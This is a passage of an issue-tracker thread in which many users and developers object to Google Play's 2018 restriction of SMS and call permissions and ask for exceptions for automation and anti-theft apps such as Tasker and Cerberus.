gi...@gmail.com <gi...@gmail.com> #364Nov 13, 2018 06:27PM

Please make an exception for automation apps like Tasker. I use it to read my SMS when cycling.

[Deleted User] <[Deleted User]> #365Nov 13, 2018 06:29PM

I am concerned that the addition restrictions are overkill. Security is important. But fixing problems that don't exist is simply pedantic.

bo...@gmail.com <bo...@gmail.com> #366Nov 13, 2018 06:35PM

Come on Google, why wouldn't Tasker be granted an exception here? Tasker is one of those capabilities that greatly differentiates the Android platform from other competitors (iOS, etc). Losing this functionality greatly impacts my day by removing automation steps that I have come to greatly rely upon on a daily basis.

st...@charter.net <st...@charter.net> #367Nov 13, 2018 08:16PM

Please give an exception for the Tasker app. I use the SMS functionality on a daily basis. The ability to automate and do what I want with my phone is the reason I'm on Android instead of Apple. Thank you.

ak...@gmail.com <ak...@gmail.com> #368Nov 13, 2018 08:56PM

I think not granting an exception for Tasker is a poor choice. While I can appreciate the concern over security, this is a bit of a reach to deny a very popular app with hardcore Android enthusiasts an exception. I agree with previous sentiments that suggest that this is a step backwards for the Android any of us came to enjoy so much. The exception should definitely be granted.

tu...@gmail.com <tu...@gmail.com> #369Nov 13, 2018 09:31PM

My apps sole feature revolves around use of SMS permissions and I just got a denied without a reasonable explanation. Many of my users are those with disabilities and there are few apps that offer similar functionality. In addition this is one of my primary sources of income. It's enough of a blow to give up on Android development as a side gig. I am sick to my stomach this is such a cruel way to treat loyal developers with legitimate applications.

gr...@gmail.com <gr...@gmail.com> #370Nov 13, 2018 09:41PM

Please allow tasker to work. It doesn't send any messages that I don't explicitly create. There's no good reason to shut it down.

ph...@gmail.com <ph...@gmail.com> #371Nov 13, 2018 10:04PM

please add the exception to tasker! one of reasons I stick to the android platform is because of Tasker!

ji...@gmail.com <ji...@gmail.com> #372Nov 13, 2018 10:17PM

Tasker needs to be granted an exception. It provides needed functionality that Android itself doesn't.

al...@gmail.com <al...@gmail.com> #373Nov 13, 2018 10:51PM

As so many others have requested, please make an exception for Tasker. One of the main reasons I love Android is because of the complete customisability afforded by apps like this, with Tasker at the top of the list.

jo...@gmail.com <jo...@gmail.com> #374Nov 14, 2018 12:42AM

Give Tasker an exception. Taking away functionality benefits no one. No. One.

jg...@gmail.com <jg...@gmail.com> #375Nov 14, 2018 01:59AM

Please give Tasker an exception!

lo...@gmail.com <lo...@gmail.com> #376Nov 14, 2018 02:18AM

An app like tasker is a big reason Android is my preferred platform. The SMS and call functions are initiated by the user. There not a risk here, and this is a core function of tasker. It deserves an exception.

mo...@gmail.com <mo...@gmail.com> #377Nov 14, 2018 02:56AM

What the hell Google thinks!
We need apps like Tasker!
Don't let me down Google, you are suppose to be different.

js...@gmail.com <js...@gmail.com> #378Nov 14, 2018 02:58AM

Takser needs an exception, it is an established application that has a large following, we use this functionality and it would be a shame to do this to the developer and all of the users.

br...@gmail.com <br...@gmail.com> #379Nov 14, 2018 03:03AM

I'm voicing my support for Tasker to be given an exemption. I use Tasker to SMS while I'm driving, auto respond during meetings and send SMS / calls in the event of an emergency. These functions ARE among many of the core features of the app and Google needs to grant it an exception. Please correct this gross oversight.

la...@gmail.com <la...@gmail.com> #380Nov 14, 2018 03:23AM

"I use the call and SMS features of Tasker every single say, and it's a primary reason why I use androind in the first place. Please don't take these permissions away from Tasker or any of the other automation apps."

+1

sm...@gmail.com <sm...@gmail.com> #381Nov 14, 2018 05:25AM

No no no no NO! Tasker, and Join, are essential reasons for using Android in the first place. Being able to see and respond to SMS on my computer, and tablet, is what it's supposed to be about. I know Google wants to implement this itself, but so far meh. Leave my apps alone!

dj...@gmail.com <dj...@gmail.com> #382Nov 14, 2018 05:30AM

Exempt Tasker. Whatever functions I allow it to access on my phone is because I have chosen to use that particular function in Tasker. Where is the security risk in that? I would have to be hacking myself.

What you should do is have more developers disclose why they ask for the permissions they do, then allow the user the ability to grant that access or not. That might be a more difficult thing to program into Android, but I would like to see control over various restrictions given to the user rather than mandated by Google.

ki...@gmail.com <ki...@gmail.com> #383Nov 14, 2018 06:25AM

This feature is what makes Android better than iOS and you should reconsider this decision.
I use many apps that requires this permission and removing it will force me to switch to iOS.

il...@gmail.com <il...@gmail.com> #384Nov 14, 2018 06:54AM

I use Tasker / SMS to control heating relays. So Tasker needs that permission!

ed...@gmail.com <ed...@gmail.com> #385Nov 14, 2018 07:07AM

Dear Google, please reconsider the decision re. Tasker. SMS/call access in Tasker is an important feature. To give an example: when I'm driving, I use it to answer incoming calls with an appropriate SMS in the right language, telling the caller I can't answer and will get back later.
So, please give Tasker an exemption, it's an essential feature and users have to grant the permissions explicitly, it's not a hidden feature.

mr...@gmail.com <mr...@gmail.com> #386Nov 14, 2018 07:37AM

Tasker, Titanium Backup etc are applications I paid for on Google Play based on functionality they offered at that time. If you're taking away functionality from them for no fault of the app developers, it's breach of trust.
And why? to make the play store more fool-friendly?

pe...@gmail.com <pe...@gmail.com> #387Nov 14, 2018 08:41AM

Tasker is a main reason I'm on android. Please fix this.

du...@gmail.com <du...@gmail.com> #388Nov 14, 2018 08:41AM

The main reason I use Android over iOS is apps like Tasker, the ability to customise the phone exactly the way I want it. I don't use any dial facilities but losing SMS is going to be a big problem. I automate Texts and save important ones using Tasker.

If this permission is taken away there are then no alternatives. Which is removing choice from the users. Security is important but not at the expense of restricting functionality. There must be some sort of compromise.

ti...@gmail.com <ti...@gmail.com> #389Nov 14, 2018 09:28AM

I'm regularly on call. The existing sound profile apps I use have proven to become unreliable in updated versions of Android. So I was hoping to move my configuration over to Tasker so it could whitelist numbers I expect to call me, and silence the rest, according to programmatic rules, because you know, Tasker is an automation app.

Should I not bother because this is yet another feature Google are removing and another user choice Google are choosing to ignore?

da...@gmail.com <da...@gmail.com> #390Nov 14, 2018 09:33AM

Please don't take these permissions away from Tasker.

sa...@gmail.com <sa...@gmail.com> #391Nov 14, 2018 09:38AM

Folks, why are are you making Android another dumb project like apple ? Why would you want to take away permission rights from users ? I use tasker and other apps extensively and this move is going to completely destroy how things are today.

da...@googlemail.com <da...@googlemail.com> #392Nov 14, 2018 10:22AM

While it makes sense for malicious apps to further limit their abilities, please keep apps with the appropriate needs using this functionality!

sm...@gmail.com <sm...@gmail.com> #393Nov 14, 2018 10:53AM

I really need these permissions for my Tasker cases!

do...@gmail.com <do...@gmail.com> #394Nov 14, 2018 10:54AM

Please provide an exception for Tasker!

md...@gmail.com <md...@gmail.com> #395Nov 14, 2018 11:22AM

Google, pleas stop treating the users like children. What is the purpose of the permissions allowance/revoke Google is the one deciding the permissions that are allowed? The purpose of Tasker, as an automation app, is to be able to handle the different functions of my phone, calling and SMS being one of the CORE functionalities.

aa...@gmail.com <aa...@gmail.com> #396Nov 14, 2018 12:40PM

Either provide exceptions for Cerberus/Tasker or revert the whole decision. This kills essential functionality in legitimate apps.

ni...@i-creative.co.uk <ni...@i-creative.co.uk> #397Nov 14, 2018 12:43PM

Please reconsider. Please don't do this or at the very least, provide an exception for Cerberus, which uses SMS and call permissions - SMS commands - to recover a lost/stolen phone which is not connected to the internet and other features like sending SMS alerts if the SIM card is changed. Vital security functionality.

bi...@gmail.com <bi...@gmail.com> #398Nov 14, 2018 12:44PM

This is a needed function

ja...@gmail.com <ja...@gmail.com> #399Nov 14, 2018 12:57PM

This is, for me to, a needed function.

st...@gmail.com <st...@gmail.com> #400Nov 14, 2018 01:04PM

This is ridiculous!

be...@gmail.com <be...@gmail.com> #401Nov 14, 2018 01:07PM

I am using the SMS functionas an event reminder for the elderly people in my community who do not have access to smartphones or do not know how to use the calendar function on their phone. Without automation, I would have to manually type out and sort out who to send the updates to. We need to his function on apps like tasker and automate.

jo...@gmail.com <jo...@gmail.com> #402Nov 14, 2018 01:13PM

I use cerberus I I want allow them continue sending sms

ma...@hurtrel.net <ma...@hurtrel.net> #403Nov 14, 2018 01:20PM

definitey non accptable news for apps for which this is a key feature

zs...@gmail.com <zs...@gmail.com> #404Nov 14, 2018 01:31PM

We have quite a few employees with work phones where Tasker is set up to work with SMS messages. This will ruin this capability for us to run our business effectively.

pi...@gmail.com <pi...@gmail.com> #405Nov 14, 2018 01:44PM

It will be a pity to loose very nice and good app because Google will block permissions for every app. The best thing to do is to allow GOOD programmer to use these permissions and continue to develop on this platform.

mn...@gmail.com <mn...@gmail.com> #406Nov 14, 2018 01:47PM

I am using Cerberus, Because of this New policy. Cerberus is very much affected. Please don't restrict the permissions

ge...@gmail.com <ge...@gmail.com> #407Nov 14, 2018 02:49PM

There should be an exception for automation apps like Tasker!

ce...@gmail.com <ce...@gmail.com> #408Nov 14, 2018 02:52PM

Removal of this feature would be disastrous.

un...@gmail.com <un...@gmail.com> #409Nov 14, 2018 02:53PM

I ride motorcycle. Its a very dangerous thing to do I know but the heart wants what the heart wants. To put my family at east I have a Tasker profile that allows them to receive a text showing them my location and helpful information if I am ever in a crash and they don't know where I am. Taking away the SMS and Call permission is the wrong move. Please do not do this. Android is about freedom to do what you want with your device. Removing this feature from apps like Tasker and Automate will take away the peace of mind from my family at least.

hk...@flashlight.de <hk...@flashlight.de> #410Nov 14, 2018 03:12PM

If Google could, they would take you your motorcycle license... Because you know, it is dangerous ;-)

ba...@gmail.com <ba...@gmail.com> #411Nov 14, 2018 03:18PM

This apps have its own useful purpose and most people also seems to agree so Google should give permission to this developer to this restricted API.

xx...@gmail.com <xx...@gmail.com> #412Nov 14, 2018 03:23PM

I hate adding comments to these threads and making everyone else get an email for it, but I feel we all need to explicitly add our voice here.

I don't understand Google's "Core functionality" stipulation here. Why must the approach be so robotic? It is not difficult for a human to determine if an app is using this permission for a legitimate reason that the user would want. The purpose of automation apps as a whole (beyond just Tasker; I use Automagic personally) is to allow the user to do anything they want to make it do. The core functionality is broad, but that's the core functionality.

Google, please be human here and give a little more attention to these apps' appeals. Don't force power users to lose functionality because you want to protect the lowest common denominator.

ex...@gmail.com <ex...@gmail.com> #413Nov 14, 2018 03:44PM

Oh please!! This is for security reasons, if someone stole my phone I want to receive an advice via SMS from the new SIM!!

al...@gmail.com <al...@gmail.com> #414Nov 14, 2018 04:14PM

Yes, please allow this

an...@gmail.com <an...@gmail.com> #415Nov 14, 2018 04:16PM

Will Google be providing valid and detail d explanations as to why they are denying popular known good useful apps like Tasker and Cerberus the ability to remain fully functional after this horrendous change to permissions

jw...@gmail.com <jw...@gmail.com> #416Nov 14, 2018 04:53PM

Please don't become Apple. The least you can do is make the proper exceptions... especially for Tasker.

je...@gmail.com <je...@gmail.com> #417Nov 14, 2018 04:54PM

If users agree to the terms of using the app with the SMS service. I dont see the issue. Google just needs to properly review the apps.

jo...@gmail.com <jo...@gmail.com> #418Nov 14, 2018 04:55PM

Cerberus is the best app on my phone bar none. Google is crippling it if this access is no longer permitted. I am already seriously considering moving to Apple - this doesn't help

go...@gmail.com <go...@gmail.com> #419Nov 14, 2018 05:03PM

Please don't restrict this permission. There are plenty of legitimate uses for it, as has been already stated here. There are better ways to ensure that malicious apps stay out of the Play Store.

Please don't throw the baby out with the bath water.

ad...@gmail.com <ad...@gmail.com> #420Nov 14, 2018 05:29PM

Please consider you decision to not grant exceptions to Cerberus and Tasker

wi...@gmail.com <wi...@gmail.com> #421Nov 14, 2018 06:14PM

We need this option to use sms in cerberus. Dont follow the apple example, please.

th...@gmail.com <th...@gmail.com> #422Nov 14, 2018 07:09PM

Why is Google so insistent on crippling the most useful features of Android? SMH. This a a terrible idea. I use both Tasker and Cerberus.

bl...@gmail.com <bl...@gmail.com> #423Nov 14, 2018 07:12PM

Please grant exceptions to Tasker. This is essential to the daily use of my device that I am able to send automated SMS.

Tasker is the sole reason I use Android over an Apple device. Because I am able to automate so much.

Until Android grants users full control over their devices we need to use apps like Tasker to accomplish the things our devices our perfectly capable of doing.

This is ridiculous and completely unfounded as we have been given no answer as to why this is occurring.

qe...@gmail.com <qe...@gmail.com> #424Nov 14, 2018 07:19PM

Why become less android and more apple like. I thought android was supposed to be more open source. Why become more permissioned and centralized authoritarian. Give us the choice in AOSP. Making these changes takes away functionality of our devices.

pa...@gmail.com <pa...@gmail.com> #425Nov 14, 2018 07:43PM

I use Taskers SMS functionality to monitor critical systems at work. Please don't hamstring this app.

eu...@gmail.com <eu...@gmail.com> #426Nov 14, 2018 08:19PM

The question is: is there any other way to stop people abusing this functionality without impacting the good guys

la...@gmail.com <la...@gmail.com> #427Nov 14, 2018 09:17PM

Adding my voice to the request to add an exception for automation apps. I have used Tasker for over a decade. These recent attempts to hamstring Tasker are frustrating and pointless. Automation apps require a degree of knowledge beyond just installing from the play store. Any action the app takes is at the direct instruction of the user. Please as an exception category for automation apps.

The loss of call and SMS features in Tasker would make using an android based device substantially less attractive to me. Without Tasker facilitating reporting, blocking, responding, tracking and more of my daily activities, there is nothing appealing to me about the android platform.

If there are concerns that a user installing an automation app is blind to the permission sets being requested, then add nag screens to release liability. But please don't hamstring the best thing about android.

da...@gmail.com <da...@gmail.com> #428Nov 14, 2018 09:35PM

I use Cerberus and Tasker and probably other apps which use call and SMS features. While I understand that Google wants to make Android stronger against those abusing its powerful features, there should be exceptions for genuinely helpful and "known to be good" apps. If you remove these features, developers will be forced to either offer two versions for the Play Store and a direct download or only offer a restricted version on the Play Store which could hamstring the above mentioned and potentially many other great apps.

st...@gmail.com <st...@gmail.com> #429Nov 14, 2018 09:37PM

This change would sacrifice not only my convenience but my physical safety for an incremental improvement in my electronic security. I use Tasker to detect that I'm driving (near my car's Bluetooth), silence incoming SMS and MMS notifications, and automatically reply to the sender(s) to say I'm driving and will reply when it's safe -- and then to alert me when I'm no longer driving that I received some texts while I was. Eliminating this ability will create distractions for me while driving. (Yes, clearly I can ignore the notifications -- but they are distracting simply by existing.) I've had literally dozens of contacts ask me how my phone can reply for me while I'm driving and how they can set that up themselves.

The answer to the question posed by the commenter on #426 immediately above is yes: Grant Tasker an exemption. Simple as that, and Google have done it before for the same app.

li...@gmail.com <li...@gmail.com> #430Nov 14, 2018 09:43PM

I've been using Tasker since Froyo, and don't want this functionality taken away.
I also use other apps to regularly back up my call and message logs, which also sound at risk from this update. This data quantifies MY life, and as such I should have the right to use it.

ni...@gmail.com <ni...@gmail.com> #431Nov 14, 2018 10:04PM

I'm a Tasker and Cerberus user and un both case, I definitely need SMS and Call permissions for both apps!

mg...@gmail.com <mg...@gmail.com> #432Nov 14, 2018 10:11PM

Cerberus has saved 2 of my phones with this functionality.

cd...@gmail.com <cd...@gmail.com> #433Nov 14, 2018 10:27PM

Another Tasker & Cerberus user here.

le...@gmail.com <le...@gmail.com> #434Nov 14, 2018 10:48PM

This is absurd, and will break many of the apps I paid for and use for business. Please rethink your policy, Google.

je...@gmail.com <je...@gmail.com> #435Nov 14, 2018 11:09PM

Tasker and MacroDroid user - Removing this functionality for apps whose purpose is to make our lives easier is crazy. If I wanted to live in a walled garden with big brother I'd buy an iphone.

di...@gmail.com <di...@gmail.com> #436Nov 14, 2018 11:11PM

This is stupid do not restrict the users of Android like Apple does. You'll just ruin the platform in time with this crap.

dj...@gmail.com <dj...@gmail.com> #437Nov 15, 2018 12:03AM

I love Android because of how open it is. I use tasker for automation and customization that can't be done on apple phones. You take that away and what's the difference?

mi...@gmail.com <mi...@gmail.com> #438Nov 15, 2018 12:16AM

Please do not restrict the Tasker app (or other automation apps) from using SMS and Call permissions. Tasker was THE reason i moved from iPhone to Android. I use it heavily and has made my life much easier. I believe in tight security but please at least allow Tasker users to go through multiple settings to access it if necessary but not do not completely take it away.

ng...@gmail.com <ng...@gmail.com> #439Nov 15, 2018 12:23AM

Please exempt Tasker App, I only love Android phones because of this App

ma...@gmail.com <ma...@gmail.com> #440Nov 15, 2018 01:19AM

Why restrict the users Google? You made a new function in your new pixel, flip tog shhh. I guess someone at google seen the flip somewhere and suggested it as a new function? With Tasker we users have done that already for many years. My point is we android users uses Tasker to simplify our lives. It can be a flip to mute or send a sms to our loved ones when we get home. We can do that little thing that makes our days/lives a bit easier. Many new functions in phones today comes from an idea of simplify that little thing and they can be made with apps like Tasker. So dont restrict us! Support us!
You may be inspired to implement new functions by the things we do and how we uses our phones.

fa...@gmail.com <fa...@gmail.com> #441Nov 15, 2018 01:23AM

I use the call and SMS features of tasker when I lose my phone. Please don't take this away

re...@gmail.com <re...@gmail.com> #442Nov 15, 2018 03:17AM

Please don't do this or at the very least, provide an exception for Cerberus, which uses SMS and call permissions - SMS commands - to recover a lost/stolen phone which is not connected to the internet and other features like sending SMS alerts if the SIM card is changed. Vital security functionality.

su...@gmail.com <su...@gmail.com> #443Nov 15, 2018 03:25AM

If you desire to protect users, make a more robust permission system, that makes things clear to users.

The majority of those who use tasker know exactly what it's for. And you saying it can no longer use sms ruins it for a lot of people.

ar...@gmail.com <ar...@gmail.com> #444Nov 15, 2018 03:28AM

The standard android call and sms apps are limited in terms of much needed functionality like blocking, forwarding specific messages etc. Appa like Tasker play a very important role in filling these gaps and making Android powerful.

Also, these are apos where the user is in full control. If I make a tasker project to read an sms I pretty much know what I am doing and am comfortable with it.

Please remove these restrictions. If the concern is about apps that may steal date from unsuspecting users, there are many other ways to accomplish this.

dj...@gmail.com <dj...@gmail.com> #445Nov 15, 2018 04:08AM

Don't restrict the SMS command functions for Cerberus app please!!!

ni...@gmail.com <ni...@gmail.com> #446Nov 15, 2018 06:44AM

This is far too broad a restriction and must be reconsidered. Legitimate software needs these permissions. Maybe look at the permission granting mechanism itself rather than going full nanny on us and arbitrarily deciding what we can and can't do with our devices. I can enable that functionality very easily by buying Apple.

se...@gmail.com <se...@gmail.com> #447Nov 15, 2018 08:27AM

Why would you take away functionality everybody WANTS to use in some of the BEST SELLING apps?????
At least give us the option to choose wether or not we really want to do it by building in an additional warning or something instead of just ripping it out!

fr...@gmail.com <fr...@gmail.com> #448Nov 15, 2018 09:10AM

Please make an exception for Tasker! i use Tasker and only the sms functionality it gives me. There is nothing that can fill this gap for me.

lf...@gmail.com <lf...@gmail.com> #449Nov 15, 2018 09:31AM

Google,
Are you trying to became apple?

ga...@gmail.com <ga...@gmail.com> #450Nov 15, 2018 10:03AM

Please rethink your approach here Google. Don't deny apps access that they require to operate. Have them switched off by default, sure but make them able to be enabled by the user at least! If your worry is that app developers will force the user to have these enabled then take action against such developers. Give the end user the decision.

ro...@gmail.com <ro...@gmail.com> #451Nov 15, 2018 10:31AM

Poorly thought out. Harms some very useful apps. Needs rethink.

jo...@gmail.com <jo...@gmail.com> #452Nov 15, 2018 10:35AM

There's good news on this situation. Check here:

https://www.reddit.com/r/tasker/comments/9x9s4z/update_sms_and_call_permissions_a_new_hope/

d....@googlemail.com <d....@googlemail.com> #453Nov 15, 2018 10:54AM

Google, please also take smaller apps into account that automatically send SMS messages on behalf of the user like CalenGooSMS. It is used to remind other people (usually customers) of their appointments. I.e. there are small businesses using CalenGooSMS to reminder their customers of their appointments (to reduce "No-Shows"). It is similar to the automation with Tasker, i.e. there is a rule (in that case a calendar event) that triggers sending an SMS.

tk...@gmail.com <tk...@gmail.com> #454Nov 15, 2018 01:32PM

Please let Tasker keep it's SMS and call permissions. I love Tasker and it is my favorite App and I use these features daily to make my phone more functional and life easier. Thank you!

xe...@gmail.com <xe...@gmail.com> #455Nov 15, 2018 01:41PM

That is nonsense. Cerberus is useless without this possibility, and tasker loses most of the capabilities. Please stop joking, those apps are your success.

lb...@gmail.com <lb...@gmail.com> #456Nov 15, 2018 01:47PM

Guys it's not just Tasker and other automation apps.
Many apps might need those permissions.
The decision to block all apps that use those permissions unless they fall in some category is bad.
It's too similar to decisions that Apple have .
It's a huge restriction of what's possible on Android on the Play Store, which is the biggest app store for Android.
If you keep talking just about automation apps, Google might just add another category for them...

ch...@gmail.com <ch...@gmail.com> #457Nov 15, 2018 01:53PM

It's true, I just read that also Cerberus got involved, and many others that I don't even know but that many people will use for sure.
Give us choice, Google, don't decide for us!

xe...@gmail.com <xe...@gmail.com> #458Nov 15, 2018 02:11PM

Those were just examples of how an app could be made totally useless. Google Android lives and rocks thanks to his developers.

lb...@gmail.com <lb...@gmail.com> #459Nov 15, 2018 02:26PM

@452 I think this is not enough.
The restrictions should be removed completely. Not just for specific apps or categories.
Let users choose what's good for them, based on information they get.

Only malicious apps should be blocked. A newly published app (or existing ones) shouldn't be blocked by default, just because it uses a permission.
It should be up to Google to say that it gets blocked because it's a malicious app, and not assume it's a malicious app from beginning.

You know, there is a saying in the USA, that a person should be considered "innocent until proven guilty". By having this restriction, Google does the opposite: App developers are considered guilty until proven innocent.
It doesn't matter now how much the developer will do to make it clear to the user what the permissions are used for. It's blocked by default.

If notification access is ok, as it explains the permission well enough to the user, so should those permissions. Let us give the user the same amount of information as you do for notification access.

jd...@gmail.com <jd...@gmail.com> #460Nov 15, 2018 03:44PM

Removing functionalities for security reason by someone (Google) who steals all our data's ? Is this humour ?

aj...@gmail.com <aj...@gmail.com> #461Nov 15, 2018 05:25PM

Google must to study how to preserve privacity, but limit the functionality of very interedting apps, like Cerberus, is not the good path.

ra...@gmail.com <ra...@gmail.com> #462Nov 15, 2018 05:40PM

Another Cerberus user here. The thought for security reasons is totally acceptable. But the new limitations that come with it aren't bearable. Google should think of another mechanism to solve this issue. A (quick & dirty thought of by me) solution maybe, apps that need SMS permissions, need to pass certain criteria set by Google to be able to use the SMS permissions.

bo...@gmail.com <bo...@gmail.com> #463Nov 15, 2018 06:54PM

You changed the way Cerberus change the password in android nougat and now decline SMS permission .please don't do it google we need SMS permission and password change

d1...@gmail.com <d1...@gmail.com> #464Nov 15, 2018 08:16PM

+1 for either not limiting those permissions (and maybe making it one to request at runtime, or with an explanation, like admin permissions), but if that's not possible, I'd very much request an exception for automation applications, specifically Automate and Tasker. I have used these two for some pretty cool functionality based around being able to control calls and SMS-es, in a way that wouldn't be attainable on iOS devices, and I'd REALLY hate to see that ability taken away.

hu...@gmail.com <hu...@gmail.com> #465Nov 15, 2018 10:00PM

Automation is a huge reason for me to use Android over iOS. Please let Tasker continue to ask for user permission to handle SMS/calls - security and permission is on the user after that, and if they're trying to use an advanced tool like Tasker... they should be up to the task!

gi...@gmail.com <gi...@gmail.com> #466Nov 15, 2018 10:18PM

+1 Let the users control the limits that they want to set for the apps they use.

da...@gmail.com <da...@gmail.com> #467Nov 16, 2018 06:26AM

De need SMS support in Cerberus. This is an essential part of the app and one of the reasons people choose Android over iOS (because of the flexibility). Please don't break useful apps.

ta...@gmail.com <ta...@gmail.com> #468Nov 16, 2018 06:49AM

First substratum now Tasker. Please quit removing functionality from Android.

de...@gmail.com <de...@gmail.com> #469Nov 16, 2018 10:19AM

Even tough it is something that protects users from indiscriminate permission granting to several apps, I disagree on the way google is trying to remediate to this: apps such as tasker, automate etc are very sensitive in terms of explicit permission granting to tasks, and users are always aware of the risks.
With this move google is throwing away years of coding (and life of coders)...
Please rethink this in a proper manner!
Thank you

no...@gmail.com <no...@gmail.com> #470Nov 16, 2018 02:29PM

Our application Callistics with 60 000 active users almost 800 000 downloads and 10 000 made in-app purchase got rejected after my request for permissions reading Calls and SMS. The main and only feature of the app is showing Calls, SMS and data statistics. We spend more than 5 years by making the application better spend so much money on development and promotion and we will have to remove the app from Google play because it doesn't have any sense to keep working on it. :(

co...@gmail.com <co...@gmail.com> #471Nov 17, 2018 12:52AM

Please do not remove this feature

ch...@gmail.com <ch...@gmail.com> #472Nov 17, 2018 12:54AM

Denying this permissions, Google will harm all the Android ecosystem. Apps like Cerberus are very important for many people, and they need this permissions. Android "Find my Device" is not even as complete as Cerberus, and there are not many other options actually.

Google, please reconsider the request; it's important for Android to have this freedom of choice.

di...@googlemail.com <di...@googlemail.com> #473Nov 17, 2018 12:55AM

Android is chosen by many over iOs because of its flexibility and more open nature. Denying permissions vital to some exceedingly useful and popular apps such as Cerberus and Tasker is a very short sighted move. It is likely to cause fragmentation of Android with unofficial patches and rooting taking place and apps made available outside the Play store. The net effect being that Androd will seem less flexible and less secure if unopfficial roms and rooting becomes more widespread - the exact opposite of what Google desires.

Please reconsider.

co...@gmail.com <co...@gmail.com> #474Nov 17, 2018 07:37AM

As a user of Cerberus and Tasker this decision makes no sense.

ss...@redcarpetup.com <ss...@redcarpetup.com> #475Nov 17, 2018 08:48AM

Dear Google team,
what will be category considered for financial inclusion apps that use phone data to generate access to credit in Africa, India, Indonesia, etc
Take for example Tala which is supported by the Bill and Melinda Gates Foundation -

https://www.wired.com/story/wired25-melinda-gates-shivani-siroya-credit-loans/

"With users’ permission, the app looks at their phone usage patterns, their behavior within our app, and other data. We scan texts for receipts and transactions, for example, and try to understand communication patterns and habits. This information allows us to establish trust and provide unsecured credit to customers we have never met. To ensure that we’re building an ethical system, we’re conducting a university study on fair lending and algorithmic bias"

I run a similar lending startup and we are regulated by the central bank of India under the constitutional guarantees of privacy. we also work with the Mozilla Privacy Foundation to further data privacy around financial inclusion. We are also audited by the govt and produce yearly reports on privacy.

Would like to understand how is Google looking at this. Will this be covered under "Task Automation" ?
regards
sandeep

br...@gmail.com <br...@gmail.com> #476Nov 17, 2018 09:09AM

Hi,
I use an automation app called Automate that I use to forward OTP text messages to my wife for our family finances and my government record for health records. Without this permission, I would not be able to forward SMS messages to her and she would not be able to access the information in a timely manner.
We also use SMS backup and restore apps that rely on this permission.
There are also banking apps and chat apps that use SMS to verify your number. Google even does this for Allo and Duo, which are not texting applications.
Please keep this as a permission that developers can use.
Regards,
James

od...@gmail.com <od...@gmail.com> #477Nov 17, 2018 10:30AM

Same problem with my app Prof Reminder. This is missed call and unread messages reminder.
This in main function. It's absolutely impossible to make such app without those permissions. There are no alternatives API.

ph...@gmail.com <ph...@gmail.com> #478Nov 17, 2018 04:57PM

let tasker have SMS and phone access! it is really needed

br...@gmail.com <br...@gmail.com> #479Nov 17, 2018 09:14PM

It's the versatility and power of apps that make Android attractive to both users and developers. Google is following the general trend of increasing security and privacy at the cost of freedom, flexibility and possibilities. That's a choice. Many more restrictions will follow.
The Play Store Tools category however, may soon become a rather desolate place compared to what it is now.

ma...@gmail.com <ma...@gmail.com> #480Nov 18, 2018 09:27AM

User Dictionary Plus uses this permission to read from various sources words the user uses the most to import them into the android dictionary so can be proposed during text writing. Among its features there is the scan of SMS, so the app will be affected by this decision.
Please google reconsider this decision to keep Android a valid alternative to iOS.

pa...@gmail.com <pa...@gmail.com> #481Nov 18, 2018 01:12PM

We have been impacted with the same problem our app BomberosQAP allows emergency volunteer services to send and receive sms for critical situations where there is no internet but Sms can reach the device to trigger the alert which in turn impacts on saving lives or personal belongings ... however this apparently is not enough to get the permission to remain in Google play... It would be great if Google could consider the value this app has to the community and the lack of alternatives to implement the same functionality.

fo...@gmail.com <fo...@gmail.com> #482Nov 18, 2018 07:24PM

This will also negatively affect an application I use for security. Allow if it is needed!

br...@gmail.com <br...@gmail.com> #483Nov 19, 2018 06:05AM

I, for one, will not cripple my apps. And developing new apps has become unattractive, because Google changes the rules during the game and because backward compatibility has been abandoned.
Asking permission to ask permission, with uncertain outcome?

pe...@zombik.cz <pe...@zombik.cz> #484Nov 19, 2018 06:41AM

Google talk about user protection and add restrictions to Android, but then users must use unsecure workarounds. For example, if I need root for automatical flight mode or 2G/3G/LTE switch, where is safety of this restriction?

vg...@gmail.com <vg...@gmail.com> #485Nov 19, 2018 09:22AM

This is a terrible decision, like most of the decisions Google made regarding Android lately. The world might be ready for a new OS. Down with Google.

[Deleted User] <[Deleted User]> #486Nov 19, 2018 01:51PM

Applications such as Automagic (and Tasker, SMS Backup & Restore, and many others) are extremely useful and cherished by their users for the functionality they provide.

By imposing restrictions on such incredibly useful features as handling text messages, you are frustrating a lot of users; you are driving developers towards other (non-Google-hosted) app repositories; and you are limiting the effectiveness of the entire Android platform!

Please allow developers and users to make informed decisions about how they want their tools to work. We are specifically not Apple users, we require more than their walled-playground approach allows. Don't become as Apple, for we will be forced to leave you behind.

ja...@g-b.dk <ja...@g-b.dk> #487Nov 19, 2018 01:52PM

du...@gmail.com <du...@gmail.com> #488Nov 19, 2018 03:10PM

Please don't remove these features. These abilities are why I use Android. Killing these abilities will only drive users away.

al...@gmail.com <al...@gmail.com> #489Nov 19, 2018 04:34PM

I use these services to notify me from my nest fire alarms while on vacation. Please dont remove permissions!

ca...@gmail.com <ca...@gmail.com> #490Nov 19, 2018 10:10PM

Hugely unpopular decision making.. please reconsider...

th...@gmail.com <th...@gmail.com> #491Nov 20, 2018 01:14AM

Please do not impose the the restrictions on sms and dialing functions of apps in the play store you are on a path to destroy that which makes android superior to crApple crap. You do this and you are making one of the worst mistakes you can make.

tu...@gmail.com <tu...@gmail.com> #492Nov 20, 2018 02:54AM

I use these notifications to receive messages from my younger children who don't have cell phones yet. Please don't mess this up.

w....@gmail.com <w....@gmail.com> #493Nov 20, 2018 02:55AM

Having the ability to do this is one of the main reasons I stick with Android!

I propose forcing the users to accept responsibility for The permissions. Make it a triple opt in.

jh...@softlunch.com <jh...@softlunch.com> #494Nov 20, 2018 03:52AM

I will leave Android. Because this is the reason I use Android.

an...@gmail.com <an...@gmail.com> #495Nov 20, 2018 04:13PM

I certainly value security and privacy, but also want Tasker and other like apps to be able to continue functioning. Please revise the new restrictions to allow that.

ga...@gmail.com <ga...@gmail.com> #496Nov 21, 2018 07:42PM

Please don't do this to Tasker! We users really need those features! Please reconsider!

ig...@gmail.com <ig...@gmail.com> #497Nov 22, 2018 04:16PM

I need SMS to continue to work with Tasker. Please do not remove SMS functionality. Thanks.

si...@gmail.com <si...@gmail.com> #498Nov 23, 2018 10:52AM

Also liked Tasker

fr...@googlemail.com <fr...@googlemail.com> #499Nov 23, 2018 11:08AM

I value security and privacy, but also want Automagic and other like apps
to be able to continue functioning. Please revise the new restrictions to
allow that.

<buganizer-system@google.com> schrieb am Sa., 17. Nov. 2018, 01:52:

- Show quoted text -

ch...@lemark.dk <ch...@lemark.dk> #500Nov 25, 2018 10:10AM

